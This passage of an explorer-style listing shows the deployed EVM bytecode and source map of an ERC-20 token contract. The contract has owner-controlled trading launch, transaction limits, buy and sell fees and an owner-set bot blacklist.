73660046116c5565b610b02565b3480156103e857600080fd5b506101ee60115481565b3480156103fe57600080fd5b506006546101c89060ff1681565b34801561041857600080fd5b506101ee61042736600461184c565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104855760405162461bcd60e51b815260040161047c90611885565b60405180910390fd5b601454600160a01b900460ff16156104df5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047c565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561052c90309061051a6012600a6119b4565b61052790629896806119c3565b610b0f565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a391906119e2565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610605573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062991906119e2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610676573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069a91906119e2565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306106e2816001600160a01b031660009081526001602052604090205490565b6000806106f76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561075f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061078491906119ff565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108019190611a2d565b506014805462ff00ff60a01b19166201000160a01b179055565b6000610828338484610b0f565b5060015b92915050565b60006108406012600a6119b4565b61084d90629896806119c3565b905090565b600061085f848484610c33565b6108ac843361052785604051806060016040528060288152602001611b41602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061128e565b5060019392505050565b60065461010090046001600160a01b0316336001600160a01b0316146108db57600080fd5b3060009081526001602052604090205480156108fa576108fa816112c8565b47801561090a5761090a8161145b565b5050565b6000546001600160a01b031633146109385760405162461bcd60e51b815260040161047c90611885565b60005b815181101561090a5760016004600084848151811061095c5761095c611a4f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061099881611a65565b91505061093b565b6000546001600160a01b031633146109ca5760405162461bcd60e51b815260040161047c90611885565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a3e5760405162461bcd60e51b815260040161047c90611885565b610a4a6012600a6119b4565b610a5790629896806119c3565b600f55610a666012600a6119b4565b610a7390629896806119c3565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610aad6012600a6119b4565b610aba90629896806119c3565b60405190815260200160405180910390a1565b6000546001600160a01b03163314610af75760405162461bcd60e51b815260040161047c90611885565b600991909155600a55565b6000610828338484610c33565b6001600160a01b038316610b715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047c565b6001600160a01b038216610bd25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047c565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047c565b6001600160a01b038216610cf95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047c565b60008111610d5b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047c565b600080546001600160a01b03858116911614801590610d8857506000546001600160a01b03848116911614155b1561114b576001600160a01b03841660009081526004602052604090205460ff16158015610dcf57506001600160a01b03831660009081526004602052604090205460ff16155b610dd857600080fd5b60065460ff1615610e91576013546001600160a01b03848116911614801590610e0f57506014546001600160a01b03848116911614155b15610e9157326000908152600560205260409020544311610e7e5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161047c565b3260009081526005602052604090204390555b6014546001600160a01b038581169116148015610ebc57506013546001600160a01b03848116911614155b8015610ee157506001600160a01b03831660009081526003602052604090205460ff16155b15610fdd57600f54821115610f345760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b604482015260640161047c565b60105482610f57856001600160a01b031660009081526001602052604090205490565b610f619190611a7e565b1115610faf5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047c565b600d54600e541015610fc757823b15610fc757600080fd5b600e8054906000610fd783611a65565b91905055505b6110096064611003600b54600e5411610ff857600754610ffc565b6009545b8590611499565b90611522565b6014549091506001600160a01b03848116911614801561103257506001600160a01b0384163014155b156110ad57600f548211156110855760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b604482015260640161047c565b6110aa6064611003600c54600e54116110a057600854610ffc565b600a548590611499565b90505b30600090815260016020526040902054601454600160a81b900460ff161580156110e457506014546001600160a01b038581169116145b80156110f95750601454600160b01b900460ff165b8015611106575060115481115b80156111155750600d54600e54115b15611149576111376111328461112d84601254611564565b611564565b6112c8565b478015611147576111474761145b565b505b505b80156111c5573060009081526001602052604090205461116b9082611579565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111bc9085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546111e890836115d8565b6001600160a01b03851660009081526001602052604090205561122d61120e83836115d8565b6001600160a01b03851660009081526001602052604090205490611579565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61127785856115d8565b60405190815260200160405180910390a350505050565b600081848411156112b25760405162461bcd60e51b815260040161047c9190611648565b5060006112bf8486611a96565b95945050505050565b6014805460ff60a81b1916600160a81b179055801561144b57601454600160a01b900460ff161561144b57604080516002808252606082018352600092602083019080368337019050509050308160008151811061132857611328611a4f565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611381573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a591906119e2565b816001815181106113b8576113b8611a4f565b6001600160a01b0392831660209182029290920101526013546113de9130911684610b0f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611417908590600090869030904290600401611aad565b600060405180830381600087803b15801561143157600080fd5b505af1158015611445573d6000803e3d6000fd5b50505050505b506014805460ff60a81b19169055565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561090a573d6000803e3d6000fd5b6000826000036114ab5750600061082c565b60006114b783856119c3565b9050826114c48583611b1e565b1461151b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047c565b9392505050565b600061151b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061161a565b6000818311611573578261151b565b50919050565b6000806115868385611a7e565b90508381101561151b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047c565b600061151b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061128e565b6000818361163b5760405162461bcd60e51b815260040161047c9190611648565b5060006112bf8486611b1e565b600060208083528351808285015260005b8181101561167557858101830151858201604001528201611659565b81811115611687576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146116b257600080fd5b50565b80356116c08161169d565b919050565b600080604083850312156116d857600080fd5b82356116e38161169d565b946020939093013593505050565b60008060006060848603121561170657600080fd5b83356117118161169d565b925060208401356117218161169d565b929592945050506040919091013590565b60006020828403121561174457600080fd5b813561151b8161169d565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561177857600080fd5b823567ffffffffffffffff8082111561179057600080fd5b818501915085601f8301126117a457600080fd5b8135818111156117b6576117b661174f565b8060051b604051601f19603f830116810181811085821117156117db576117db61174f565b6040529182528482019250838101850191888311156117f957600080fd5b938501935b8285101561181e5761180f856116b5565b845293850193928501926117fe565b98975050505050505050565b6000806040838503121561183d57600080fd5b50508035926020909101359150565b6000806040838503121561185f57600080fd5b823561186a8161169d565b9150602083013561187a8161169d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561190b5781600019048211156118f1576118f16118ba565b808516156118fe57918102915b93841c93908002906118d5565b509250929050565b6000826119225750600161082c565b8161192f5750600061082c565b8160018114611945576002811461194f5761196b565b600191505061082c565b60ff841115611960576119606118ba565b50506001821b61082c565b5060208310610133831016604e8410600b841016171561198e575081810a61082c565b61199883836118d0565b80600019048211156119ac576119ac6118ba565b029392505050565b600061151b60ff841683611913565b60008160001904831182151516156119dd576119dd6118ba565b500290565b6000602082840312156119f457600080fd5b815161151b8161169d565b600080600060608486031215611a1457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a3f57600080fd5b8151801515811461151b57600080fd5b634e487b7160e01b600052603260045260246000fd5b600060018201611a7757611a776118ba565b5060010190565b60008219821115611a9157611a916118ba565b500190565b600082821015611aa857611aa86118ba565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611afd5784516001600160a01b031683529383019391830191600101611ad8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611b3b57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122046407709d58b1cdc99cb758c969c48c1c6a7949b938dba0f8a0aa002f226030364736f6c634300080f0033

Deployed Bytecode Sourcemap

3535:8787:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11034:669;;;;;;;;;;;;;:::i;:::-;;5467:83;;;;;;;;;;-1:-1:-1;5537:5:0;;;;;;;;;;;;-1:-1:-1;;;5537:5:0;;;;5467:83;;;;;;;:::i;:::-;;;;;;;;6300:161;;;;;;;;;;-1:-1:-1;6300:161:0;;;;;:::i;:::-;;:::i;:::-;;;1376:14:1;;1369:22;1351:41;;1339:2;1324:18;6300:161:0;1211:187:1;4745:49:0;;;;;;;;;;;;;;;;;;;1549:25:1;;;1537:2;1522:18;4745:49:0;1403:177:1;5744:95:0;;;;;;;;;;;;;:::i;6469:313::-;;;;;;;;;;-1:-1:-1;6469:313:0;;;;;:::i;:::-;;:::i;5653:83::-;;;;;;;;;;-1:-1:-1;5653:83:0;;4375:2;2188:36:1;;2176:2;2161:18;5653:83:0;2046:184:1;10594:83:0;;;;;;;;;;-1:-1:-1;10594:83:0;;;;;:::i;:::-;-1:-1:-1;;;;;10662:7:0;10641:4;10662:7;;;:4;:7;;;;;;;;;10594:83;11951:348;;;;;;;;;;;;;:::i;10685:168::-;;;;;;;;;;-1:-1:-1;10685:168:0;;;;;:::i;:::-;;:::i;5847:119::-;;;;;;;;;;-1:-1:-1;5847:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5940:18:0;5913:7;5940:18;;;:9;:18;;;;;;;5847:119;2616:148;;;;;;;;;;;;;:::i;10290:196::-;;;;;;;;;;;;;:::i;4568:52::-;;;;;;;;;;;;;;;;10861:163;;;;;;;;;;-1:-1:-1;10861:163:0;;;;;:::i;:::-;;:::i;2402:79::-;;;;;;;;;;-1:-1:-1;2440:7:0;2467:6;2402:79;;-1:-1:-1;;;;;2467:6:0;;;4144:51:1;;4132:2;4117:18;2402:79:0;3998:203:1;4627:54:0;;;;;;;;;;;;;;;;5558:87;;;;;;;;;;-1:-1:-1;5630:7:0;;;;;;;;;;;;-1:-1:-1;;;5630:7:0;;;;5558:87;;5974:167;;;;;;;;;;-1:-1:-1;5974:167:0;;;;;:::i;:::-;;:::i;4688:50::-;;;;;;;;;;;;;;;;3932:40;;;;;;;;;;-1:-1:-1;3932:40:0;;;;;;;;6149:143;;;;;;;;;;-1:-1:-1;6149:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6257:18:0;;;6230:7;6257:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6149:143;11034:669;2529:6;;-1:-1:-1;;;;;2529:6:0;237:10;2529:22;2521:67;;;;-1:-1:-1;;;2521:67:0;;;;;;;:::i;:::-;;;;;;;;;11096:11:::1;::::0;-1:-1:-1;;;11096:11:0;::::1;;;11095:12;11087:47;;;::::0;-1:-1:-1;;;11087:47:0;;5162:2:1;11087:47:0::1;::::0;::::1;5144:21:1::0;5201:2;5181:18;;;5174:30;5240:25;5220:18;;;5213:53;5283:18;;11087:47:0::1;4960:347:1::0;11087:47:0::1;11145:15;:80:::0;;-1:-1:-1;;;;;;11145:80:0::1;11182:42;11145:80:::0;;::::1;::::0;;;11236:58:::1;::::0;11253:4:::1;::::0;4429:13:::1;4375:2;4429;:13;:::i;:::-;4419:23;::::0;:8:::1;:23;:::i;:::-;11236:8;:58::i;:::-;11339:15;;;;;;;;;-1:-1:-1::0;;;;;11339:15:0::1;-1:-1:-1::0;;;;;11339:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11321:55:0::1;;11385:4;11392:15;;;;;;;;;-1:-1:-1::0;;;;;11392:15:0::1;-1:-1:-1::0;;;;;11392:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11321:94;::::0;-1:-1:-1;;;;;;11321:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7486:15:1;;;11321:94:0::1;::::0;::::1;7468:34:1::0;7538:15;;7518:18;;;7511:43;7403:18;;11321:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11305:13;:110:::0;;-1:-1:-1;;;;;11305:110:0;;::::1;-1:-1:-1::0;;;;;;11305:110:0;;::::1;;::::0;;11426:15:::1;::::0;::::1;:31;11465:21;11496:4;11502:24;11496:4:::0;-1:-1:-1;;;;;5940:18:0;5913:7;5940:18;;;:9;:18;;;;;;;5847:119;11502:24:::1;11527:1;11529::::0;11531:7:::1;2440::::0;2467:6;-1:-1:-1;;;;;2467:6:0;;2402:79;11531:7:::1;11426:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11426:129:0;;;-1:-1:-1;;;;;7924:15:1;;;11426:129:0::1;::::0;::::1;7906:34:1::0;7956:18;;;7949:34;;;;7999:18;;;7992:34;;;;8042:18;;;8035:34;8106:15;;;8085:19;;;8078:44;11539:15:0::1;8138:19:1::0;;;8131:35;7840:19;;11426:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11573:13:0::1;::::0;11604:15:::1;::::0;11566:71:::1;::::0;-1:-1:-1;;;11566:71:0;;-1:-1:-1;;;;;11604:15:0;;::::1;11566:71;::::0;::::1;8662:51:1::0;-1:-1:-1;;8729:18:1;;;8722:34;11573:13:0;::::1;::::0;-1:-1:-1;11566:29:0::1;::::0;8635:18:1;;11566:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11648:11:0::1;:18:::0;;-1:-1:-1;;;;11677:18:0;-1:-1:-1;;;11677:18:0;;;11034:669::o;6300:161::-;6375:4;6392:39;237:10;6415:7;6424:6;6392:8;:39::i;:::-;-1:-1:-1;6449:4:0;6300:161;;;;;:::o;5744:95::-;5797:7;4429:13;4375:2;4429;:13;:::i;:::-;4419:23;;:8;:23;:::i;:::-;5817:14;;5744:95;:::o;6469:313::-;6567:4;6584:36;6594:6;6602:9;6613:6;6584:9;:36::i;:::-;6631:121;6640:6;237:10;6662:89;6700:6;6662:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6662:19:0;;;;;;:11;:19;;;;;;;;237:10;6662:33;;;;;;;;;;:37;:89::i;6631:121::-;-1:-1:-1;6770:4:0;6469:313;;;;;:::o;11951:348::-;12015:10;;;;;-1:-1:-1;;;;;12015:10:0;237;-1:-1:-1;;;;;12001:24:0;;11993:33;;;;;;12076:4;12037:20;5940:18;;;:9;:18;;;;;;12096:14;;12093:73;;12124:30;12141:12;12124:16;:30::i;:::-;12195:21;12230:12;;12227:65;;12256:24;12269:10;12256:12;:24::i;:::-;11982:317;;11951:348::o;10685:168::-;2529:6;;-1:-1:-1;;;;;2529:6:0;237:10;2529:22;2521:67;;;;-1:-1:-1;;;2521:67:0;;;;;;;:::i;:::-;10763:6:::1;10758:88;10779:5;:12;10775:1;:16;10758:88;;;10830:4;10813;:14;10818:5;10824:1;10818:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10813:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10813:14:0;:21;;-1:-1:-1;;10813:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10793:3;::::1;::::0;::::1;:::i;:::-;;;;10758:88;;2616:148:::0;2529:6;;-1:-1:-1;;;;;2529:6:0;237:10;2529:22;2521:67;;;;-1:-1:-1;;;2521:67:0;;;;;;;:::i;:::-;2723:1:::1;2707:6:::0;;2686:40:::1;::::0;-1:-1:-1;;;;;2707:6:0;;::::1;::::0;2686:40:::1;::::0;2723:1;;2686:40:::1;2754:1;2737:19:::0;;-1:-1:-1;;;;;;2737:19:0::1;::::0;;2616:148::o;10290:196::-;2529:6;;-1:-1:-1;;;;;2529:6:0;237:10;2529:22;2521:67;;;;-1:-1:-1;;;2521:67:0;;;;;;;:::i;:::-;4429:13:::1;4375:2;4429;:13;:::i;:::-;4419:23;::::0;:8:::1;:23;:::i;:::-;10343:12;:22:::0;4429:13:::1;4375:2;4429;:13;:::i;:::-;4419:23;::::0;:8:::1;:23;:::i;:::-;10376:14;:22:::0;10409:20:::1;:26:::0;;-1:-1:-1;;10409:26:0::1;::::0;;10451:27:::1;4429:13;4375:2;-1:-1:-1::0;4429:13:0::1;:::i;:::-;4419:23;::::0;:8:::1;:23;:::i;:::-;10451:27;::::0;1549:25:1;;;1537:2;1522:18;10451:27:0::1;;;;;;;10290:196::o:0;10861:163::-;2529:6;;-1:-1:-1;;;;;2529:6:0;237:10;2529:22;2521:67;;;;-1:-1:-1;;;2521:67:0;;;;;;;:::i;:::-;10953:12:::1;:23:::0;;;;10991:13:::1;:25:::0;10861:163::o;5974:167::-;6052:4;6069:42;237:10;6093:9;6104:6;6069:9;:42::i;6790:335::-;-1:-1:-1;;;;;6883:19:0;;6875:68;;;;-1:-1:-1;;;6875:68:0;;9523:2:1;6875:68:0;;;9505:21:1;9562:2;9542:18;;;9535:30;9601:34;9581:18;;;9574:62;-1:-1:-1;;;9652:18:1;;;9645:34;9696:19;;6875:68:0;9321:400:1;6875:68:0;-1:-1:-1;;;;;6962:21:0;;6954:68;;;;-1:-1:-1;;;6954:68:0;;9928:2:1;6954:68:0;;;9910:21:1;9967:2;9947:18;;;9940:30;10006:34;9986:18;;;9979:62;-1:-1:-1;;;10057:18:1;;;10050:32;10099:19;;6954:68:0;9726:398:1;6954:68:0;-1:-1:-1;;;;;7033:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7085:32;;1549:25:1;;;7085:32:0;;1522:18:1;7085:32:0;;;;;;;6790:335;;;:::o;7133:2478::-;-1:-1:-1;;;;;7221:18:0;;7213:68;;;;-1:-1:-1;;;7213:68:0;;10331:2:1;7213:68:0;;;10313:21:1;10370:2;10350:18;;;10343:30;10409:34;10389:18;;;10382:62;-1:-1:-1;;;10460:18:1;;;10453:35;10505:19;;7213:68:0;10129:401:1;7213:68:0;-1:-1:-1;;;;;7300:16:0;;7292:64;;;;-1:-1:-1;;;7292:64:0;;10737:2:1;7292:64:0;;;10719:21:1;10776:2;10756:18;;;10749:30;10815:34;10795:18;;;10788:62;-1:-1:-1;;;10866:18:1;;;10859:33;10909:19;;7292:64:0;10535:399:1;7292:64:0;7384:1;7375:6;:10;7367:64;;;;-1:-1:-1;;;7367:64:0;;11141:2:1;7367:64:0;;;11123:21:1;11180:2;11160:18;;;11153:30;11219:34;11199:18;;;11192:62;-1:-1:-1;;;11270:18:1;;;11263:39;11319:19;;7367:64:0;10939:405:1;7367:64:0;7442:17;2467:6;;-1:-1:-1;;;;;7476:15:0;;;2467:6;;7476:15;;;;:32;;-1:-1:-1;2440:7:0;2467:6;-1:-1:-1;;;;;7495:13:0;;;2467:6;;7495:13;;7476:32;7472:1783;;;-1:-1:-1;;;;;7534:10:0;;;;;;:4;:10;;;;;;;;7533:11;:24;;;;-1:-1:-1;;;;;;7549:8:0;;;;;;:4;:8;;;;;;;;7548:9;7533:24;7525:33;;;;;;7579:20;;;;7575:346;;;7638:15;;-1:-1:-1;;;;;7624:30:0;;;7638:15;;7624:30;;;;:62;;-1:-1:-1;7672:13:0;;-1:-1:-1;;;;;7658:28:0;;;7672:13;;7658:28;;7624:62;7620:286;;;7746:9;7717:39;;;;:28;:39;;;;;;7759:12;-1:-1:-1;7709:102:0;;;;-1:-1:-1;;;7709:102:0;;11551:2:1;7709:102:0;;;11533:21:1;11590:2;11570:18;;;11563:30;11629:34;11609:18;;;11602:62;-1:-1:-1;;;11680:18:1;;;11673:34;11724:19;;7709:102:0;11349:400:1;7709:102:0;7861:9;7832:39;;;;:28;:39;;;;;7874:12;7832:54;;7620:286;7949:13;;-1:-1:-1;;;;;7941:21:0;;;7949:13;;7941:21;:55;;;;-1:-1:-1;7980:15:0;;-1:-1:-1;;;;;7966:30:0;;;7980:15;;7966:30;;7941:55;:83;;;;-1:-1:-1;;;;;;8002:22:0;;;;;;:18;:22;;;;;;;;8000:24;7941:83;7937:428;;;8064:12;;8054:6;:22;;8046:60;;;;-1:-1:-1;;;8046:60:0;;11956:2:1;8046:60:0;;;11938:21:1;11995:2;11975:18;;;11968:30;-1:-1:-1;;;12014:18:1;;;12007:55;12079:18;;8046:60:0;11754:349:1;8046:60:0;8159:14;;8149:6;8133:13;8143:2;-1:-1:-1;;;;;5940:18:0;5913:7;5940:18;;;:9;:18;;;;;;;5847:119;8133:13;:22;;;;:::i;:::-;:40;;8125:79;;;;-1:-1:-1;;;8125:79:0;;12443:2:1;8125:79:0;;;12425:21:1;12482:2;12462:18;;;12455:30;12521:28;12501:18;;;12494:56;12567:18;;8125:79:0;12241:350:1;8125:79:0;8236:18;;8226:9;;:28;8223:97;;;11879:20;;11927:8;8276:24;;;;;;8338:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7937:428;8395:76;8467:3;8395:67;8417:15;;8407:9;;:25;8406:55;;8447:14;;8406:55;;;8434:12;;8406:55;8395:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8495:13;;8383:88;;-1:-1:-1;;;;;;8489:19:0;;;8495:13;;8489:19;:43;;;;-1:-1:-1;;;;;;8512:20:0;;8527:4;8512:20;;8489:43;8486:253;;;8571:12;;8561:6;:22;;8553:60;;;;-1:-1:-1;;;8553:60:0;;11956:2:1;8553:60:0;;;11938:21:1;11995:2;11975:18;;;11968:30;-1:-1:-1;;;12014:18:1;;;12007:55;12079:18;;8553:60:0;11754:349:1;8553:60:0;8644:79;8719:3;8644:70;8666:16;;8656:9;;:26;8655:58;;8698:15;;8655:58;;;8684:13;;8644:6;;:10;:70::i;:79::-;8632:91;;8486:253;8804:4;8755:28;5940:18;;;:9;:18;;;;;;8830:6;;-1:-1:-1;;;8830:6:0;;;;8829:7;:30;;;;-1:-1:-1;8846:13:0;;-1:-1:-1;;;;;8840:19:0;;;8846:13;;8840:19;8829:30;:45;;;;-1:-1:-1;8863:11:0;;-1:-1:-1;;;8863:11:0;;;;8829:45;:87;;;;;8899:17;;8878:20;:38;8829:87;:119;;;;;8930:18;;8920:9;;:28;8829:119;8825:419;;;8969:67;8986:49;8990:6;8997:37;9001:20;9022:11;;8997:3;:37::i;:::-;8986:3;:49::i;:::-;8969:16;:67::i;:::-;9084:21;9127:22;;9124:105;;9174:35;9187:21;9174:12;:35::i;:::-;8950:294;8825:419;7510:1745;7472:1783;9270:11;;9267:161;;9338:4;9320:24;;;;:9;:24;;;;;;:39;;9349:9;9320:28;:39::i;:::-;9313:4;9295:24;;;;:9;:24;;;;;;;:64;;;;9377:39;;-1:-1:-1;;;;;9377:39:0;;;;;;;9406:9;1549:25:1;;1537:2;1522:18;;1403:177;9377:39:0;;;;;;;;9267:161;-1:-1:-1;;;;;9454:15:0;;;;;;:9;:15;;;;;;:27;;9474:6;9454:19;:27::i;:::-;-1:-1:-1;;;;;9438:15:0;;;;;;:9;:15;;;;;:43;9506:40;9524:21;:6;9535:9;9524:10;:21::i;:::-;-1:-1:-1;;;;;9506:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9492:13:0;;;;;;;:9;:13;;;;;:54;;;;9562:41;;;9581:21;:6;9592:9;9581:10;:21::i;:::-;9562:41;;1549:25:1;;;1537:2;1522:18;9562:41:0;;;;;;;7202:2409;7133:2478;;;:::o;1294:190::-;1380:7;1416:12;1408:6;;;;1400:29;;;;-1:-1:-1;;;1400:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1440:9:0;1452:5;1456:1;1452;:5;:::i;:::-;1440:17;1294:190;-1:-1:-1;;;;;1294:190:0:o;9727:555::-;5076:6;:13;;-1:-1:-1;;;;5076:13:0;-1:-1:-1;;;5076:13:0;;;9805:27;;9824:7:::1;9805:27;9846:11;::::0;-1:-1:-1;;;9846:11:0;::::1;;;9842:25:::0;9859:7:::1;9842:25;9901:16;::::0;;9915:1:::1;9901:16:::0;;;;;::::1;::::0;;9877:21:::1;::::0;9901:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9901:16:0::1;9877:40;;9946:4;9928;9933:1;9928:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9928:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9972:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9972:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9928:7;;9972:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9962:4;9967:1;9962:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9962:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10037:15:::1;::::0;10005:62:::1;::::0;10022:4:::1;::::0;10037:15:::1;10055:11:::0;10005:8:::1;:62::i;:::-;10078:15;::::0;:196:::1;::::0;-1:-1:-1;;;10078:196:0;;-1:-1:-1;;;;;10078:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10159:11;;10078:15:::1;::::0;10201:4;;10228::::1;::::0;10248:15:::1;::::0;10078:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9794:488;5100:1;-1:-1:-1::0;5112:6:0;:14;;-1:-1:-1;;;;5112:14:0;;;9727:555::o;10494:92::-;10551:10;;:27;;:10;;;;-1:-1:-1;;;;;10551:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;1492:246;1550:7;1574:1;1579;1574:6;1570:47;;-1:-1:-1;1604:1:0;1597:8;;1570:47;1627:9;1639:5;1643:1;1639;:5;:::i;:::-;1627:17;-1:-1:-1;1672:1:0;1663:5;1667:1;1627:17;1663:5;:::i;:::-;:10;1655:56;;;;-1:-1:-1;;;1655:56:0;;14135:2:1;1655:56:0;;;14117:21:1;14174:2;14154:18;;;14147:30;14213:34;14193:18;;;14186:62;-1:-1:-1;;;14264:18:1;;;14257:31;14305:19;;1655:56:0;13933:397:1;1655:56:0;1729:1;1492:246;-1:-1:-1;;;1492:246:0:o;1746:132::-;1804:7;1831:39;1835:1;1838;1831:39;;;;;;;;;;;;;;;;;:3;:39::i;9621:98::-;9678:7;9705:1;9703;:3;9702:9;;9710:1;9702:9;;;-1:-1:-1;9708:1:0;9621:98;-1:-1:-1;9621:98:0:o;963:179::-;1021:7;;1053:5;1057:1;1053;:5;:::i;:::-;1041:17;;1082:1;1077;:6;;1069:46;;;;-1:-1:-1;;;1069:46:0;;14537:2:1;1069:46:0;;;14519:21:1;14576:2;14556:18;;;14549:30;